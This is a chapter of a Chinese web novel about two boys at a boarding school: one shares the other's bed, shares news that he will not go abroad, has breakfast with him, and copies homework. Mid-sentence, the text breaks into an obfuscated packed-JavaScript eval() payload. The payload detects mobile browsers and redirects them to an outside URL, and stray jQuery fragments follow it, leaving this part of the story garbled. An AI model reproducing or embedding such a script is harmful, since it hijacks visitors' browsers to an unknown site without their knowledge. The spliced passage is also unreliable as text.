宿舍的熄灯铃响过半小时,陆严言仍瞪着天花板。
新换的床垫太软,翻身时总发出窸窣响,窗外的月光斜斜切进来,在墙上投出栏杆的影子。
他悄无声息地爬起来,赤着脚踩在凉丝丝的水泥地上,走到沈隅床边。
沈隅好像感受到了什么坐了起来,陆严言干脆拧开把手——沈隅的台灯还留着盏小灯,暖黄的光裹着对方清瘦的侧脸,睫毛在眼下投出浅影。
“没睡着?”沈隅的声音带着刚醒的哑,侧头看他时,眼里蒙着层水汽。
陆严言没说话,直接掀了沈隅床尾的被子钻进去,床垫陷下一小块。“我第一次住宿没经验。”他往沈隅那边挤了挤,鼻尖差点碰到对方后颈,闻到熟悉的茉莉洗发水味,“睡不着。”
沈隅的身体僵了僵,没推开他,只是往墙边挪了挪:“不习惯?”
“嗯……也不是。”陆严言的手指无意识卷着沈隅的被角,布料磨得指腹发痒,“跟你说个事。”他顿了顿,声音里蹦出点雀跃,“我妈同意了,我不用出国了。”
沈隅猛地转过头,台灯的光刚好落在他眼里,亮得像落了星:“真的?”
“骗你干嘛。”陆严言笑起来,虎牙在光里闪,“她说只要我下次月考进前八百,就彻底不提出国的事。”
他想起昨晚母亲揉着他头发说“别让我失望”的样子,耳尖有点烫,“不过得好好学习,以后……可能要麻烦你多盯着我了。”
沈隅没说话,只是往他这边靠了靠,肩膀轻轻撞了撞他的胳膊。陆严言能感觉到对方的呼吸变快了些,像被风吹动的树叶。
“我帮你划重点。”沈隅的声音很轻,却带着笃定,“生物的遗传定律部分,你上次错题太多。”
“知道啦沈老师。”陆严言往他怀里缩了缩,把脸埋在对方肩窝,“其实我以前总觉得,出国也没什么……而且出国也挺好的,不用在这里耗着,但是……”话没说完就停住了——总不能说,是怕隔着时差,再也没法像这样挤在一张床上聊天。
沈隅听出他的欲言又止,便也没再追问。
台灯的光渐渐暗下去,沈隅的呼吸慢慢匀了,陆严言却还醒着。
他数着对方后背起伏的弧度,听着窗外偶尔掠过的夜风声,忽然觉得这硬邦邦的床板,好像也没那么难睡。
————
清晨的光从窗帘缝里钻进来时,沈隅先醒了。
陆严言还埋在他颈窝,呼吸拂过锁骨,带着点孩子气的热。
他小心地挪开些,刚坐起身,陆严言就迷迷糊糊地抓着他的衣角:“再睡五分钟……”
“食堂七点半收早餐。”沈隅的指尖碰了碰他的头发,发梢有点翘,像被揉乱的草。
陆严言“唔”了声,却磨磨蹭蹭不肯起,直到沈隅叠好被子要下床,才猛地弹起来:“等等我!”
两人走在走廊上时,晨光刚漫过楼梯转角。陆严言的拖鞋趿拉着响,沈隅的步子却很轻,白鞋踩在台阶上,几乎没声。
楼下的香樟树被风拂得沙沙响,叶片上的露水往下滴,落在陆严言手背上,凉丝丝的。
“想吃什么?”沈隅侧头问他,晨光落在他鼻梁上,把鼻尖的小痣照得清晰。
“三明治有吗?”陆严言往食堂跑,被沈隅一把拉住。
“慢点,地上滑。”对方的手心有点凉,攥着他的手腕不肯放。
食堂里飘着豆浆的甜香,沈隅带着陆严言上了二楼,那里的三明治味道还行。
陆严言拿着个加了满满西红柿的三明治,轻轻咬了一口。嗯,味道还可以。
忽然,他旁边被放了一瓶蓝莓味的牛奶。
陆严言抬头时,正撞见沈隅低头喝豆浆的样子,喉结轻轻滚动,晨光在他耳尖镀了层绒边。
陆严言心下一慌。糟了,自己好像越来越喜欢沈隅了。
沈隅对自己那么好,会不会也………不对沈隅当时都否认自己是同性恋了……那他现在就是拿自己当好兄弟…完了完了,沈隅拿他当好兄弟他竟然对他有这么龌龊的心思真的可以吗?
呵呵,不可惜他也已经喜欢了,还能怎样,只能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279508|182493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
偷偷忍着了。
“对了,”陆严言突然想起什么,“英语早读你能不能陪我?杨雪说我发音太烂了。”
沈隅的豆浆勺顿了顿,点了点头:“嗯。”
窗外的光越发明亮,把两人的影子投在桌面上,像两只挨得很近的鸟。
—————
早自习的铃声快响时,陆严言抱着英语练习册在教室转圈,额前的碎发被汗浸得贴在脸上。
“沈隅,江湖救急!”他把练习册往沈隅桌上一拍,“英语作文我忘了写,就抄两句,保证不动选择题!”
沈隅正低头改错题,笔尖在“时态错误”旁画了道红圈,闻言抬眼:“自己写。”
“我不会啊!”陆严言垮着脸,“那作文题太变态了,写‘我的理想’,我哪有什么理想……”
“你的理想不是考本地大学吗?”沈隅把练习册推回给他,语气认真,“我教你写框架。”
陆严言还想耍赖,旁边的赵铭突然凑过来,把自己的练习册往他面前一递:“抄我的!保证全对,昨晚刚让我姐改的。”
陆严言盯着赵铭那龙飞凤舞的字迹,又瞥了眼沈隅皱着的眉,讪讪地把练习册推回去:“算了,你字太丑,老师一看就知道是抄的。”
赵铭“切”了声,转身跟后排同学打闹去了。陆严言正唉声叹气,胳膊肘突然被轻轻碰了下。
他回头,看见赵铭同桌的女生正低着头,把自己的练习册往他这边推了推。
女生戴着黑框眼镜,镜片后的眼睛很亮,脸颊泛着浅红,手指捏着练习册封皮,指节微微发白。
“我、我写得不好……”她的声音细得像蚊子哼,“你要是不嫌弃……”
陆严言愣了愣,连忙接过练习册。字迹娟秀工整,连涂改液都用得小心翼翼。
“谢谢你啊!”他笑得灿烂,“我抄完就还你。”
女生说了句不客气。
早自习铃响时,陆严言正对着女生的练习册抄句子,沈隅瞥了眼,看见那娟秀的字迹,笔尖在自己的错题本上顿了顿。